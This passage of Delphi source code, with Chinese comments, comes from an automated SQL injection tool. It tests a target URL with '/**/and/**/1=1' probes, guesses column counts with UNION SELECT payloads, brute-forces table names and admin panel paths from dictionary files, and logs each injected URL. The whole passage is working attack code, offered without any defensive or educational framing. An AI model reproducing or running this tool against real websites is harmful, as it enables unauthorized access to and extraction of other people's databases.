dure TForm1.sbstop2Click(Sender: TObject); var i:integer; begin isFinish :=true; { if N>=lsbDict.Count then exit; for i:=N to lsbDict.Count-1 do begin if scanField.FreeOnTerminate then begin scanField.Suspend; scanField.Free; end; end; MM.Lines.Add(''''''''); MM.Lines.Add(''''字段猜解结束。。。''''); } end;
procedure TForm1.sbscan3Click(Sender: TObject); var i,iPos,Sum:integer; begin if isFinish=false then begin Url :=trim(EdtInjUrl.Text); if pos(''''http://'''',Url)>0 then begin Url :=copy(Url,8,length(Url)-7); iPos :=pos(''''/'''',Url) end else iPos :=pos(''''/'''',Url); Url :=''''http://''''+copy(Url,1,iPos-1); if Url='''''''' then exit;
lsbDict.Items.Clear; ListBox1.Items.Clear; MM.Lines.Clear; M :=0; lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+''''Dict_Manager.txt''''); Sum :=lsbDict.Count; pg1.Min :=0; pg1.Max :=sum; pg1.Step :=1; pg1.Position :=0; pg1.Visible :=true; MM.Lines.Add(''''开始猜解后台路径。。。''''); MM.Lines.Add(''''''''); SetLength(scanManager,Sum); // 动态设置线程的数量 ////开始扫描后台路径 for i:=0 to Sum-1 do begin scanManager := scanManagerThread.Create(Url,i,ListBox1,MM); scanManager.OnTerminate := ManagerThreadExit; end; end;
if isFinish=true then begin try for i:=M to lsbDict.Count-1 do begin if scanManager.FreeOnTerminate then begin scanManager.Suspend; scanManager.Free; end; end; MM.Lines.Add(''''''''); MM.Lines.Add(''''后台路径猜解结束。。。''''); except end; end; isFinish :=true; end;
procedure TForm1.ManagerThreadExit(sender: TObject); begin inc(M); pg1.StepIt; if M = lsbDict.Count then begin isFinish :=true; MM.Lines.Add(''''''''); MM.Lines.Add(''''后台路径猜解结束。。。''''); pg1.Visible :=False; exit; end; end;
procedure TForm1.sbstop3Click(Sender: TObject); var i:integer; begin isFinish :=false; { if M>=lsbDict.Count then exit; try for i:=M to lsbDict.Count-1 do begin if scanManager.FreeOnTerminate then begin scanManager.Suspend; scanManager.Free; end; end; MM.Lines.Add(''''''''); MM.Lines.Add(''''后台路径猜解结束。。。''''); except end; } end;
procedure TForm1.ListBox1Click(Sender: TObject); begin wb.Navigate(ListBox1.Items.GetText); pcPHPInj.ActivePageIndex :=3; end;
function Get(URL,Key: string): boolean; var IDHTTP: TIDHttp; ss: String; begin Result:= False; IDHTTP:= TIDHTTP.Create(nil); try try idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错 idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问 ss:= IDHTTP.Get(URL); if Key='''''''' then begin if IDHTTP.ResponseCode=200 then Result :=true; end else begin if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then Result :=true; end; except end; finally IDHTTP.Free; end; end;
procedure scanThread.Execute; var i:integer; iStr:string; begin FMemo :=Form1.MM; FUrl :=trim(Form1.EdtInjUrl.Text); FKeyWord :=trim(Form1.EdtKey.Text); FMemo.Lines.Clear; FMemo.Lines.Add(''''正在检测注入点是否可用。。。''''); if (not Get(FUrl,'''''''')) or (not Get(FUrl+''''/**/and/**/1=1/*'''','''''''')) or (not Get(FUrl+''''/**/and/**/1=2/*'''','''''''')) then begin FMemo.Lines.Add(''''注入点不可用,猜解终止!''''); exit; end; //开始猜解字段数目 i:=1; iStr:=''''1''''; FState :=False; FMemo.Lines.Add(''''''''); FMemo.Lines.Add(''''开始猜解字段数目。。。''''); FMemo.Lines.Add(''''''''); while not FState do begin inc(i); if i>30 then begin FMemo.Lines.Add(''''最大猜解字段数大于30,猜解终止!''''); FState :=True; exit; end; iStr:=iStr+'''',''''+IntToStr(i); InjUrl :=FUrl+''''/**/and/**/1=1/**/union/**/select/**/''''+iStr+''''/*''''; FMemo.Lines.Add(InjUrl); if Get(InjUrl,FKeyWord) then begin FState :=True; FMemo.Lines.Add(''''''''); FMemo.Lines.Add(''''字段数目猜解结束!共找到''''+IntToStr(i)+''''个字段。''''); Form1.EdtFieldNum.Text :=IntToStr(i); Form1.spNum.MaxValue :=i; Form1.spNum.Text :=IntToStr(i); Form1.spField1.MaxValue :=i; Form1.spField2.MaxValue :=i; exit; end; end; end;
procedure scanTableThread.scanTableResult; begin with FListView.Items.Add do begin Caption :=IntToStr(FListView.Items.Count); SubItems.Add(FValue); end; end;
//在一个线程内完成表段猜解工作 procedure scanTableThread.Execute; var i:integer; begin stoped :=False; with Form1 do begin pg1.Min :=0; pg1.Max :=Form1.lsbDict.Count; pg1.Step :=1; pg1.Position :=0; pg1.Visible :=true; end; EnterCriticalSection(cs); //进入临界区 FMemo.Lines.Add(''''''''); FMemo.Lines.Add(''''开始猜解表段。。。''''); FMemo.Lines.Add(''''''''); for i:=0 to Form1.lsbDict.Count-1 do begin if stoped then begin FMemo.Lines.Add(''''''''); FMemo.Lines.Add(''''表段猜解结束。。。''''); Form1.pg1.Visible :=False; exit; end; FValue :=Form1.lsbDict.Items; if FValue='''''''' then Continue; InjUrl :=FUrl+''''/**/and/**/1=1/**/union/**/select/**/''''+FStr+''''/**/from/**/''''+FValue+''''/*''''; FMemo.Lines.Add(InjUrl); Form1.pg1.StepIt; if Get(InjUrl,FKeyWord) then begin Synchronize(scanTableResult); //同步 end; end; FMemo.Lines.Add(''''''''); FMemo.Lines.Add(''''表段猜解结束。。。''''); Form1.pg1.Visible :=False; LeaveCriticalSection(CS); //退出临界区 sleep(20); // 线程挂起; end;